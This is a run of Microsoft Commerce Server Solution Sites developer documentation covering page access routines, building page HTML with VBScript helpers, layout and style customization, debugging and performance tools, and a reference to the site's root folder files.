Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

You may want to control access to some of the pages that you author. If so, you should call one of the two routines EnsureAuthAccess - Solution Sites Routine or EnsureAccess - Solution Sites Routines as the first processing performed in the routine Main. If the page you are authoring is meant to be viewable by any user on your site, regardless of whether they are classified as anonymous or authenticated, and you do not care about tracking these users, simply do not call either of these two routines.

The routine EnsureAuthAccess provides the most restrictive level of control for a page. When you call this routine, any users who are not authenticated are prohibited from viewing the page, and they are re-directed to the login page. In other words, only users who are authenticated to Internet Information Services (IIS) (using Basic/Integrated Windows authentication) or have an Auth ticket can get past this routine and view the page. Such users must be both registered and logged in.

The routine EnsureAccess provides a less restrictive level of control for a page. When you call this routine, any user who has not been identified is prohibited from viewing the page. In other words, only users who are authenticated to IIS (using Basic/Integrated Windows authentication) or have either an Auth ticket or a Profile ticket can get past this routine and view the page.

If anonymous users attempt to view a page protected by the routine EnsureAccess, and the site is not configured to require login, an attempt is made to issue them a Profile ticket. If this succeeds, they are allowed to view the page.

For more information about authentication of users and the login processing provided with the Solution Sites, see Page-Level Access Control for Solution Sites and About the Login Feature for Solution Sites, respectively.

See Also

About the User Tracking Feature for Solution Sites

Page-Level Access Control for Solution Sites

About the Login Feature for Solution Sites

Page Execution Model for Solution Sites

EnsureAccess - Solution Sites Routines

EnsureAuthAccess - Solution Sites Routine


Initializing the htmPageContent Variable

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

As mentioned in Implementing the Main Subroutine for Solution Sites and Page Execution Model for Solution Sites, one of the responsibilities of the Main routine in a particular page you are authoring is to establish the value of the variable htmPageContent prior to returning. Once the Main routine has returned, execution proceeds to the page layout code, which uses the value of the variable htmPageContent as the HTML to be rendered in the content area of the page.

Many of the utility routines that exist in the various include files are designed to help create the HTML tags that end up within the string assigned to the variable htmPageContent. One particularly basic set of such routines can be found in the file include\html_lib.asp.

The following example shows a function from the file include\html_lib.asp that wraps the string passed to it in tags that will cause it to be rendered in bold font:

Function Bold(ByVal s)
    Bold = "<B>" & s & "</B>"
End Function

Suppose you have already initialized the variable htmPageContent to contain the string "To be or not to be" that you want to display in the content area of the page, and that you want the string to be rendered in bold font. You could call the function Bold as follows:

htmPageContent = Bold(htmPageContent)

The resulting string is now "<B>To be or not to be</B>".

Another function in the file include\html_lib.asp, named PTag, can be used to wrap a string in paragraph tags. If the new value of the variable htmPageContent is passed to the PTag function, the new value would be "<P><B>To be or not to be</B></P>".

These very simple functions illustrate an important aspect of the design of the utility routines designed to help create the value stored in the variable htmPageContent, and which follows naturally from the nature of HTML markup itself: the construction of the HTML that gets stored as a string in the variable htmPageContent should begin from the innermost, simplest aspects of the page, and build toward the more complex constructs. This methodology makes heavy use of string concatenation, but does provide a higher-level programming approach, allowing you to change styles globally later. It also has the advantage of allowing content to be cached. For more information about caching content, see Caching Solution Sites.

Consider the following, simplified example, which uses three functions to build a table:

Function WrapTable(ByVal s)
    WrapTable = "<TABLE>" & s & "</TABLE>"
End Function

Function WrapRow(ByVal s)
    WrapRow = "<TR>" & s & "</TR>"
End Function

Function WrapCell(ByVal s)
    WrapCell = "<TD>" & s & "</TD>"
End Function

Given the following four string values, these functions can be used to build a 2-by-2 table as shown below:

Dim sRow1Col1, sRow1Col2, sRow2Col1, sRow2Col2, htmTemp1, htmTemp2
sRow1Col1 = "r1,c1"
sRow1Col2 = "r1,c2"
sRow2Col1 = "r2,c1"
sRow2Col2 = "r2,c2"

htmTemp1 = WrapCell(sRow1Col1) & WrapCell(sRow1Col2)
htmTemp1 = WrapRow(htmTemp1)
htmTemp2 = WrapCell(sRow2Col1) & WrapCell(sRow2Col2)
htmTemp2 = WrapRow(htmTemp2)
htmPageContent = htmTemp1 & htmTemp2
htmPageContent = WrapTable(htmPageContent)

This code will produce the following string:

<TABLE><TR><TD>r1,c1</TD><TD>r1,c2</TD></TR><TR><TD>r2,c2</TD><TD>r2,c2</TD></TR></TABLE>

This string will render as follows:

r1,c1 | r1,c2
r2,c2 | r2,c2

For purposes of illustration, this example is simpler than the actual table building routines in the file include\html_lib.asp (RenderTable, RenderTableDataRow, and RenderTableHeaderRow), which are designed such that the data and the formatting attributes for the cells in a table are passed in the form of arrays, avoiding the need to explicitly wrap each cell in TD tags as shown in this example. Nevertheless, the example does show how the string value assigned to the variable htmPageContent is built from the inside out.

Reviewing the provided utility routines will give you an understanding of the functionality provided. The existing pages show how these utility routines are used to build the HTML content that is assigned to the variable htmPageContent in the various functions named Main, and then displayed in the content area in one of the two layout files template\layout1.asp or template\no_menu.asp (or in another layout file of your own design).

See Also

Implementing the Main Subroutine for Solution Sites

Page Execution Model for Solution Sites


Page Layout Customization for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The page execution model for the Commerce Server Solution Sites separates the content displayed on a page from the layout of that content. For a thorough explanation of this execution model, see Page Execution Model for Solution Sites.

As delivered, the Commerce Server Solution Sites provide two different page layout files: template\layout1.asp and template\no_menu.asp. The no_menu.asp file does not incorporate the menu portion of the page, as constructed by the include file template\menu.asp. It also does not incorporate the areas reserved for discounts and a footer that are found in the file template\layout1.asp. For more information about how these two layout pages divide the rendered page into different areas, and where the content for those areas comes from, see Page Layout for Solution Sites.

In order to maintain the separation of content and high-level page layout employed by the Solution Sites, you must understand and conform to the existing mechanisms. There are three ways in which the layout of Web site pages can be changed, the first two concern the high-level layout of the relative positions of the main areas of the page; the third concerns the layout of the content within a given area of the page.

This section contains:

  • Changing the Layout of Existing Solution Site Pages
  • Creating New Content Sources for your Solution Site
  • Adding New Pages to your Solution Site using a Different Layout
  • Changing the Layout Within a Single Page Area for your Solution Site


Changing the Layout of Existing Solution Site Pages

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The easiest way to change the high-level page layout for existing pages is to modify one of the two files template\layout1.asp or template\no_menu.asp, as appropriate for the set of pages you want to change. You must continue to use the existing include files and content variables to populate the existing areas of the page, but you can alter the relative positions of those areas, remove one or more existing areas, or add new areas of your own design.

The HTML code used within the layout pages consists of HTML markup directives, a discussion of the details of which is beyond the scope of this document.

If you add new areas to the page, you will need to choose the type of the content source to associate with those new areas. You must decide between using a new include file or a new content variable to supply the content. For more information, see Creating New Content Sources for your Solution Site.

See Also

Page Layout for Solution Sites

Page Execution Model for Solution Sites


Creating New Content Sources for your Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

If you add new areas to the page, or want to change the content source of one or more existing areas, you will need to choose the type of the content source to associate with those areas. The choice between an include file and a content variable is largely dependent on how custom the content in the new area needs to be, from page to page. If it is not different on each page, the include file approach is best because you can avoid modifying every page in the site that uses that layout design. You can also use a content variable that is initialized somewhere in the code that already gets executed for every page. For more information about where such code would need to be added, see Standard Execution Flow for Solution Sites.

If the content in the new area needs to be quite different for every page being rendered, the best approach may be to define a new content variable and use it in a fashion similar to the variable htmPageContent. The variable can be defined in the file include\setupenv.asp, and initialized somewhere within the routine Main in each page that is using the modified layout.

See Also

Page Layout for Solution Sites

Page Execution Model for Solution Sites

Changing the Layout of Existing Solution Site Pages

Adding New Pages to your Solution Site using a Different Layout


Adding New Pages to your Solution Site using a Different Layout

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

If you add new pages to your site for which you want a different high-level layout, in addition to the two existing page layouts, you should author a new layout page to be included in the new pages being authored. To preserve the existing page execution model of the Solution Sites, model the new layout page on the existing layout pages template\layout1.asp and template\no_menu.asp, and then use the new layout page as the last included file in the new pages being added to the site.

You may or may not use the same set of include files and content variables that are used by the existing layout pages, or you may use some subset of those content sources. If you have areas in the new page layout for which the content comes from a new source, you will need to decide how to implement that new source. For more information about creating new content sources, see Creating New Content Sources for your Solution Site.

See Also

Page Layout for Solution Sites

Page Execution Model for Solution Sites


Changing the Layout Within a Single Page Area for your Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Another aspect of page layout occurs at a lower level, within each of the content areas defined in the files template\layout1.asp and template\no_menu.asp. Changing layout at this lower level consists of changing the HTML code that comes from one or more of the content sources. The layout with the content area controlled by the string assigned to the variable htmPageContent is an obvious example of changing low-level layout. Since the content area is one of the large areas of the page, it is normal to expect its layout to vary more from page to page. Indeed, the content area being different is, to a large extent, what makes one page different from another. Therefore, changing the code that creates the contents of the variable htmPageContent for a particular page might only change the content area for that one page. Whether your code changes affect content on more than one page is largely dependent on where you make the changes. If your changes are in the routine Main or its supporting routines in the page file itself, only that page will be affected. If your changes are made to one or more of the utility routines in the files that are included in multiple pages, every page that includes any of the modified files will be affected.

A more interesting aspect of low-level layout changes concerns the areas of the page other than the content area associated with the variable htmPageContent. If you make changes in the HTML produced within one or more of the files included in either the template\layout1.asp or the template\no_menu.asp files, those changes will be seen throughout your site on whatever pages incorporate those files through the layout page that they include. The files in this category, as delivered in the Solution Sites, are:

  • template\banner.inc (included in layout1.asp and no_menu.asp)
  • template\navbar.inc (included in layout1.asp)
  • template\menu.asp (included in layout1.asp)
  • template\footer.inc (included in layout1.asp)

The other file that produces HTML content is the file template\discount.asp. The HTML produced by the script in the file discount.asp is passed back to the file template\layout1.asp using the variable htmDiscountBannerSlot. The entry point in this file is the RenderDiscounts routine. This routine is only called in the two files basket.asp and product.asp.

All other pages in the site do not display the discounts area, for one of two reasons. First, they might include the alternative layout file template\no_menu.asp, which does not include the contents of the variable htmDiscountBannerSlot in the content it produces. Second, the variable htmDiscountBannerSlot might remain initialized to the empty string because a call to the routine RenderDiscounts is never made.

See Also

Page Layout Variables for Solution Sites

Page Layout for Solution Sites

Page Execution Model for Solution Sites


About Customizing HTML Styles for your Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The style mechanism in the Solution Sites provides most of the advantages of Cascading Style Sheets (CSS) without requiring a browser that supports CSS. The main advantage of this approach is that it provides central management of the appearance of the site. The Solution Sites will work with any browser that supports HTML 3.2. This provides compatibility with a number of older browsers, maximizing the number of potential customers. If this level of compatibility is not an issue for you, you can change these styles to specify client-side CSS styles.

All of the HTML styles used in the Solution Sites are stored in a Dictionary object that is created and initialized by two functions. These functions are GetSiteStyles and AddPartnerAndCustomerServiceStyles. During application initialization, the Main function in the global.asa file, which is contained in the file global_main_lib.asp, calls the GetSiteStyles function to create the MSCSSiteStyle dictionary. The GetSiteStyles function sets the basic styles, and then calls the AddPartnerAndCustomerServiceStyles function to add the styles used in the Partner and Customer services. As shipped, the service-related styles are only used in the Partner and Customer services; however, they are available throughout the application.

Since the MSCSSiteStyle dictionary is an application variable, using any of the styles is straightforward. The following example sets the Title font style on the text "Title".

   "<FONT" & MSCSSiteStyle.Title & ">" & "Title" & "</FONT>"

Occasionally the Solution Sites use styles in just this way; however, in most cases the styles are inserted into HTML fragments in a wrapper function. These functions are contained in the include\html_lib.asp file. This makes it easier to use the styles and makes it possible to apply styles to an HTML fragment returned by another function. For example, the following code uses the RenderText function to add a style to text returned by the MessageManager object:

htmTitle = RenderText( _
   mscsMessageManager.GetMessage("L_AdvancedSearch_HTMLTitle", sLanguage), _
   MSCSSiteStyle.Title) & CRLF

The MessageManager object is used throughout the Solution Sites to provide multiple language support. See Internationalization Features for more information about multiple language support.

You can customize the styles that are included with the Solution Sites.

This section contains:

  • Customizing Styles


Customizing Styles

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

There are several ways to customize the appearance of your site. You can apply different styles in the code; for example, you could replace a BorderedTable style with a BorderlessTable style in a particular routine or ASP page. This only changes this one location. You can customize the value of the style; for example, you could change the width of the border in the BorderedTable style to "2". This would change the look of every table that uses that style. It is a good idea to know where a style is used before customizing it. Styles are used in utility functions as well as display pages, and can be used anywhere in your application. You can search the application files for the string "mscssitestyle.<stylename>" using the Find in Files search functionality to locate all occurrences of a particular style.

Before customizing a style, you must be certain that the syntax for that style will be correct wherever it is used. The wrapper functions in the include\html_lib.asp file insert the style into the HTML fragment without any error checking.

The following topics list the styles in the MSCSSiteStyle dictionary:

  • GetSiteStyles
  • AddPartnerAndCustomerServiceStyles

GetSiteStyles

The GetSiteStyles function sets the following styles:

Table Styles

Attributes: ALIGN, WIDTH, BORDER, CELLSPACING, CELLPADDING

BorderlessTable = " BORDER='0'"

BorderedTable = " BORDER='1' CELLSPACING='0' CELLPADDING='5'"

AddressTable = " BORDER='1' CELLSPACING='2' CELLPADDING='5'"

Form = " BORDER='0' CELLSPACING='10'"

MenuTable = " BORDER='0' CELLSPACING='10'"

NoBorderTable = " BORDER='0'"

BasketTable = " BORDER='1' CELLSPACING='0' CELLPADDING='1'"

Table Row (tr) Styles

Attributes: ALIGN, VALIGN

TRLeft = " ALIGN='Left'"

TRCenter = " ALIGN='Center'"

TRRight = " ALIGN='Right'"

TRTop = " VALIGN='Top'"

TRMiddle = " VALIGN='Middle'"

TRBottom = " VALIGN='Bottom'"

Table Heading and Data (th/td) Styles

Attributes: NOWRAP, ROWSPAN, COLSPAN, WIDTH, HEIGHT, ALIGN, VALIGN,

TDLeft = " ALIGN='Left'"

TDCenter = " ALIGN='Center'"

TDRight = " ALIGN='Right'"

Font Styles

Attributes: SIZE, COLOR

SiteName = " SIZE='+3'"

Title = " SIZE='+1'"

MenuHead = ""

MenuBody = ""

BasketHeader = ""

BasketData = ""

Body = ""

Warning = " COLOR='Red'"

Tip = " COLOR='Red'"

Currency Styles

BaseCurrency = ""

AltCurrency = " COLOR='Red'"

Input Styles

TextBox = ""

PasswordBox = ""

CheckBox = ""

RadioButton = ""

Button = ""

Link = ""

ListBox = ""

AddPartnerAndCustomerServiceStyles

The AddPartnerAndCustomerServiceStyles function sets the following styles:

Search Box Styles

header

SearchHeaderTable = " BGCOLOR='#FFFFCC' border='1' cellspacing='5' cellpadding='0'"

body

SearchBodyTable = " BGCOLOR='#FFFFCC' width='100%'"

EditSheet (table) Styles

Grid

ContentsHeaderTable = " BGCOLOR='#CCFFCC' border='0' width='100%' cellspacing='0' cellpadding='0'"

Header

ContentsBodyTable = " BGCOLOR='#FFFFCC' border='0' width='100%' cellspacing='0' cellpadding='0'"

Group Divider

ContentsGroupTable = " BGCOLOR='#CCCCFF' border='0' width='100%' cellspacing='0' cellpadding='0'"

ListSheet (results table) Styles

Header

ListContentsHeaderTable = " BGCOLOR='#CCCCFF' BORDER='0' CELLSPACING='0' CELLPADDING='2' WIDTH='100%'"

Grid

ListContentsBodyTable = " BGCOLOR='#CCFFCC' BORDER='1' CELLSPACING='0' CELLPADDING='2' WIDTH='100%'"

Table Styles

StatusTable = " BGCOLOR='#FFFFFF' border='0' width='100%' cellspacing='0' cellpadding='0'"

FooterTable = " BORDER='0' WIDTH='100%' CELLSPACING='0' CELLPADDING='0'"

MsgBoxTitleTable = " BGCOLOR='#CCCCCC' border='0' width='60%' height='5%' cellspacing='0' cellpadding='0'"

MsgBoxHeadingTable = " BGCOLOR='#CCCCCC' border='0' width='60%' heigth='5%' cellspacing='0' cellpadding='0'"

MsgBoxBodyTable = " BGCOLOR='#CCCCCC' border='0' width='60%' heigth='15%' cellspacing='0' cellpadding='0'"

MsgBoxFooterTable = " BGCOLOR='#CCCCCC' border='0' width='60%' heigth='5%' cellspacing='0' cellpadding='0'"

Font Styles

StatusString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

SearchHeaderString = " COLOR='BLACK' FACE='Verdana' SIZE='5'"

SearchBodyString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

ContentsHeaderString = " COLOR='BLACK' FACE='Verdana' SIZE='5'"

ContentsGroupString = " COLOR='BLACK' FACE='Verdana' SIZE='5'"

ContentsBodyString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

FooterString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

MsgBoxTitleString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

MsgBoxHeadingString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

MsgBoxBodyString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

MsgBoxFooterString = " COLOR='BLACK' FACE='Verdana' SIZE='4'"

See Also

Initialization


Debugging Resources

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

It is beyond the scope of this documentation to teach you how to debug Web applications. However, this topic directs you to sources of additional information about how to debug potential problems that may occur with your use of Commerce Server and the Solution Sites.

This topic contains:

  • Articles About Debugging
  • Debugging Tools
  • Articles on ASP Development

Articles About Debugging

The Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161 contains a large volume of information related to debugging. You may find the following articles instructive (search for them by title, using "Exact Phrase" as your search criteria and including both "MSDN Library" and "Web Workshop" in your search scope):

  • Microsoft Visual InterDev 6.0 Debugging
  • Debugging Distributed Web Applications
  • Debugging Applications and Components
  • Troubleshooting Components Under ASP Technology
  • Debugging ASP Applications
  • Debugging Script Objects in ASP Pages for Microsoft Visual InterDev 6.0 Developers

You can find additional information about debugging in the technical articles on the Visual InterDev Web site at http://go.microsoft.com/fwlink/?LinkId=6735.

Debugging Tools

One of the primary tools used to develop Commerce Server was Microsoft Visual Studio, which includes Microsoft Visual InterDev, Microsoft Visual C++, and Microsoft Visual Basic. It is the recommended integrated development environment for working with Commerce Server.

The Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161 contains information about additional tools that can be useful when debugging Web applications, including how to acquire these tools. Search for the indicated tool by title, using "Exact Phrase" as your search criteria and including both "MSDN Library" and "Web Workshop" in your search scope:

  • Microsoft Script Debugger. Search string: "Microsoft Script Debugger for Internet Explorer".
  • IIS Exception Monitor. Search string: "Troubleshooting with Exception Monitor".
  • User Mode Process Dump. Search string: "OEM Support Tools".
  • WinDbg. The WinDbg files are installed when you install the developer tools included with the Platform Software Development Kit (SDK). For information on using WinDbg, see the help file windbg.hlp, which is included with WinDbg.
  • System Monitor, Performance Logs and Alerts, and Event Viewer. These three Microsoft Management Console (MMC) snap-ins are included, by default, in the Commerce Server Manager console. You may find them useful for debugging and performance tuning your Web site.

When debugging pipelines, you should consider turning on logging for pipeline execution to help see where failures occur.

The Order sitelet in the Commerce Server SDK includes the script file DumpOrder.vbs (in the source\pipeline sub-folder). This file is designed to be used with the Scriptor pipeline component. It can be used to dump the contents of an OrderForm object at arbitrary points in the execution of the Order Processing pipeline (OPP). For more information, see the instructions at the beginning of the file DumpOrder.vbs.

Articles on ASP Development

An important way reduce the occurrence of bugs in the first place is to understand and apply various best practices. The Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161 contains such information, discussing best practices for Web site development using Active Server Pages (ASP). Search for the following articles by title, using "Exact Phrase" as your search criteria and including both "MSDN Library" and "Web Workshop" in your search scope:

  • "Improving ASP Application Performance"
  • "ASP Component Guidelines"
  • "Load Test Your ASP Application"
  • "ASP Guidelines"


Optimizing Tools and Techniques

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Monitoring and measuring the performance of your site is the first step in optimizing the performance of your Web site. This section describes some of the performance measuring tools available through Microsoft, and some of the most common optimization techniques in the Solution Sites.

This section includes:

  • Performance Measuring Tools for Solution Sites
  • Optimization Techniques for Solution Sites


Performance Measuring Tools for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Before making any changes to the code in the Solution Sites code, you should measure the performance of your site. To make the most of the time you spend optimizing the performance of your site you must determine which optimizations yield the greatest savings with a minimum amount of development time. Measurements should be done with a proper load, and it is best to measure the all the pages and major components individually, so you can see which components are taking the most time overall. There are many tools available to help you measure the performance of your site.

Microsoft Web Application Stress (WAS) Tool

Microsoft Network Monitor

SQL Server Profiler

System Monitor

Visual Studio Analyzer

Microsoft Web Application Stress (WAS) Tool

This tool reproduces the effects of multiple browsers requesting pages from a Web application. It masks some of the complexities of Web server testing, and it creates an environment similar to production so that problems can be found before you deploy your site. For more information about WAS, see the Microsoft Developer Network at http://go.microsoft.com/fwlink/?LinkId=5161 and search for the Web Application Stress Tool.

Microsoft Network Monitor

This tool monitors real-time traffic on your network, analyzes previously captured data, and extracts data from defined protocol parsers. Network Monitor is also useful for capturing packets between browsers, Web servers, and SQL Server. It provides valuable timing information as well as packet size, network use, and many other statistics that can be valuable for managing system performance. For instructions about installing Network Monitor, see http://go.microsoft.com/fwlink/?LinkId=5161.

SQL Server Profiler

The SQL Server Profiler tool captures Microsoft SQL Server events from a server. The captured events are saved in a trace file that can be analyzed later when trying to diagnose a problem. You can use the trace files to step through problem queries to find the cause of the problem, find and diagnose slow-running queries, or capture the series of SQL statements that lead to a problem. The saved trace file can then be used to replicate the problem on a test server where the problem can be diagnosed. For more information see http://go.microsoft.com/fwlink/?LinkId=6682.

System Monitor

This tool collects extensive data about the ways in which hardware resources and system services are used on your site. Use System Monitor to collect and view real-time performance data on a local computer or from several remote computers. Data can be presented in a printable graph, histogram, or report view. You can incorporate System Monitor functionality into Microsoft Word or other applications in the Microsoft Office suite to link gathered data with Microsoft Word or Microsoft Excel documents. You can also create reusable monitoring configurations that can be installed on other computers using the Microsoft Management Console. For more information, see http://go.microsoft.com/fwlink/?LinkId=6736.

Visual Studio Analyzer

This tool analyzes performance, isolates page faults, and understands the structure of your distributed applications. Visual Studio Analyzer can be used with any application built with the Microsoft Visual Studio tools. Several Microsoft technologies, (COM, ADO and COM+) are shipped with the ability to provide information to Visual Studio Analyzer. In addition, you can customize your own applications to provide information to Visual Studio Analyzer. For more information, see http://go.microsoft.com/fwlink/?LinkId=6737.


Optimization Techniques for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

After measuring your site for bottlenecks and other performance issues, and setting performance goals, you can start tuning your site. This topic discusses some of the most common optimization techniques and their solutions.

Creating a static homepage

Profiling anonymous users

Limiting the number of constants

Tuning the size of existing caches

Caching custom content

Removing unused code

Porting code to Visual Basic

Creating a static homepage

Because static pages do not require database lookups or other Active Server Pages (ASP) processing, you can reduce latency by creating a static home page. Any reduction in dynamic content improves the capacity of your servers. However, creating a static home page may create difficulties if you have users whose browsers do not support cookies.

Profiling anonymous users

Implicit profiling of anonymous users can be a great way to collect information about how users interact with your site. However, the cost of the storing this information may not be beneficial if the information is not analyzed on a regular basis to improve your Web site. To stop profiling anonymous users, change the Site privacy options App Default Config property to two (2). For more information about changing App Default Config settings, see Configuring the App Default Config Resource.

Limiting the number of constants

Measurements indicate that having more than thirty-three constants in an ASP page causes Web site performance to degrade. One solution to this problem is to put all the constants into a type library.

Tuning the size of existing caches

When determining the size of a cache, consider the following: memory requirements of each fragment, the memory on your computer, the hit rate of a particular cache entry, and latency costs to compute each cache entry. In general, expensive calls should be stored in a larger cache than cheaper calls. For example, you may want to set the product cache size to 100,000 and the category cache size to 1,000 if product calls are more expensive than category calls, and the performance measurements indicate that although the product cache size is large, it performs faster than the respective property calls.

Caching custom content

Typically caching content is a much more efficient way to store content than calling object properties each time information is needed. Thus, if you add custom content to your Web site, you should look into caching that content.

When adding a new type of fragment cache, you must first initialize it in the file global_cache_lib.asp, which is similar to the initialization for the ProductList Fragment Cache. If the cache is catalog related, and you determine that it should be refreshed when the catalog changes, you must also add an oCacheManager.RefreshCache entry in the file BDRefresh.asp, so that when changes are made to the cache it will write to a table that will force the page to refresh with the newly updated information.

To determine which fragments are cached and which are not, uncomment the following three lines of debug code in the LookupCachedFragment function in the file include\std_cache_lib.asp:

If Not IsNull(LookupCachedFragment) Then
   LookupCachedFragment = "<TABLE BORDER=1><TR><TD>Cached: " _
   & sCacheName & BR & sCacheItemName& sLanguage & "</TD></TR><TR><TD>"_
   & LookupCachedFragment & "</TD></TR></TABLE>"
End If

This function puts a table cell around all the cached content, so that you visualize which content is cached.

For more information about creating a custom cache, see Code to Implement Custom Cache Components.

Removing Unused Code

If you do not implement all of the features available in the Solution Sites there is no reason to keep unnecessary code. For example, the user authentication code can be simplified if you do not need to support all of the login permutations.

Porting code to Visual Basic

Porting your ASP code to compiled Visual Basic is a fairly easy way to achieve additional performance in your site. However, there are many arguments to consider before porting your ASP code to Visual Basic. Deployment, versioning and debugging will be more difficult.


Solution Sites File Organization

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Retail and Supplier Solution Sites are implemented using the exact same set of files. The sites differ with respect to a few configuration values in the App Default Config settings, yielding their different behaviors. For more information about the configuration differences between the Retail and Supplier Solution Sites, see Configuration Setting for Solution Sites.

This section describes the common folder structure used by both Solution Sites, and describes the files in each folder. The topic structure in this section generally mirrors the file folder structure of an unpackaged Solution Site, with each folder topic describing the purpose of the files in the corresponding folder, and containing one topic for each file in the folder. The file topics describe the purpose of each file, and provide links to topics in the Routines Reference, one for each routine in the file.

This section contains:

  • Solution Sites Root Folder
  • Solution Sites AuthFiles Folder
  • Solution Sites Error Folder
  • Solution Sites Images Folder
  • Solutions Sites Include Folder
  • Solution Sites Login Folder
  • Solution Sites Pipeline Folder
  • Solution Sites Services Folder
  • Solution Sites Template Folder


Solution Sites Root Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following files are contained in this folder.

File | Description
_additem.asp | Adds an item to the user's basket and then logs the action as a Commerce event.
_delall.asp | Deletes all items from the user's basket.
_delitem.asp | Delete an item from the user's basket and then logs the action as a Commerce event.
_editqty.asp | Used to change the quantity of an item in the user's basket.
_recvpo.asp | Receives a purchase order form from Microsoft BizTalk Server, transforms the data into a Dictionary object, adds it to the order group, runs the pipeline\recvpo.pcf pipeline, and, on validation, saves the new order.
_setadrs.asp | Used to set the shipping or billing address in the user's basket after picking an address from the address book.
_setship.asp | Used to set the shipping method in the user's basket.
addrbook.asp | Retrieves and displays the address book for editing.
addrform.asp | Displays a page for editing the billing or shipping address.
basket.asp | Initializes and displays the basket page.
BDRefresh.asp | Called from Commerce Server Business Desk, this file refreshes all appropriate caches.
category.asp | Displays the products and categories under a specific category.
confirm.asp | Initializes and displays the confirmation page for an order.
crdtcard.asp | Displays an input screen for credit card information when checking out.
csapp.ini | Contains the site and application names.
default.asp | Prepares and renders the home page.
dispatch.asp | Dispatches the user to the payment method page (crdcard.asp or po.asp) when checking out.
fileslst.txt | This file is not used by the Solution Sites.
global.asa | Creates and initializes global objects and variables, and places them in application scope.
newaddr.asp | Adds, edits, or deletes address book addresses.
opt-out.asp | Adds the user to the opt-out list of a direct mail campaign.
pickship.asp | Displays a page for picking the shipping method.
po.asp | Displays an input screen for purchase order information when checking out.
poschema.xml | Contains the XML-Data Reduced (XDR) schema for purchase order forms.
product.asp | Displays the details for a given product.
rc.xml | Defines localizable string constants.
ReceiveStandard.asp | This file is a standard BizTalk Server receive page used for receiving orders through BizTalk Server over HTTP.
redir.asp | Handles click-throughs and other events on marketing campaign items. It invokes a pipeline that records the events both in memory and to the Internet Information Services (IIS) log file.
RefreshApp.asp | Called from Business Desk, this file refreshes the definitions associated with the Profiling System.
search.asp | Performs a free text search and displays the results.
ServiceReminder.asp | Serves as an example for generating personalized e-mail using direct mail.
srchdept.asp | Displays a list of specification searchable categories from a catalog.
stepsrch.asp | Performs a product specification search and displays the results.
summary.asp | Displays a summary of the basket order, including the grand total.
unpack.vbs | Used when a site is unpackaged using Commerce Server Site Packager. Sets up the error\500error.asp page to be a custom error handler for the site, as well as certain App Default Config resource properties.
welcome.asp | Displays the "Welcome back" message to previously registered users.


_additem.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to add an item to the user's basket and log the action as a Commerce event.

Routines

ApplyVendorInfo

GetProductQuantity

Main

See Also

About the Analysis Integration Feature for Solution Sites

About the Basket Feature for Solution Sites

Solution Sites Root Folder


_delall.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to delete all items from the user's basket.

Routines

Main

See Also

About the Basket Feature for Solution Sites

Solution Sites Root Folder


_delitem.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to delete an item from the user's basket and log the action as a Commerce event.

Routines

Main

See Also

About the Analysis Integration Feature for Solution Sites

About the Basket Feature for Solution Sites

Solution Sites Root Folder


_editqty.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to change the quantity of an item in the user's basket.

Routines

Main

See Also

About the Basket Feature for Solution Sites

Solution Sites Root Folder


_recvpo.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page receives a purchase order form from BizTalk Server, transforms the data into a Dictionary object, adds it to the order group, runs the pipeline\recvpo.pcf pipeline, and, on validation, saves the new order.

Routines

Main

ParseRequestForm

RunOrderPipeline

See Also

About the BizTalk Server Integration Feature

Solution Sites Root Folder


_setadrs.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to set the shipping or billing address in the user's basket after picking an address from the address book.

Routines

CatchErrors

FetchData

Main

See Also

About the Address Management for Solution Sites

About the Basket Feature for Solution Sites

Solution Sites Root Folder


_setship.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page is used to set the shipping method in the user's basket.

Routines

bIsShippingMethodSupported

CatchErrors

GetShippingMethodNameFromID

Main

See Also

About the Basket Feature for Solution Sites

Solution Sites Root Folder


addrbook.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file retrieves and displays the address book for editing.

Routines

CatchErrors

FetchData

htmRenderAddressBook

htmRenderAddressBookPage

htmRenderAddressRows

Main

See Also

About the Address Management for Solution Sites

Solution Sites Root Folder


addrform.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays a page for editing the billing or shipping address.

Routines

CatchErrors

GetAnySavedAddressID

GetDefaultValuesForAddressFormFields

GetSavedAddressID

iValidateSubmittedAddress

Main

SaveAddressToOrderGroup

See Also

About the Address Management for Solution Sites

Solutions Sites Root Folder


basket.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file initializes and displays the basket page.

Routines

CheckBasket

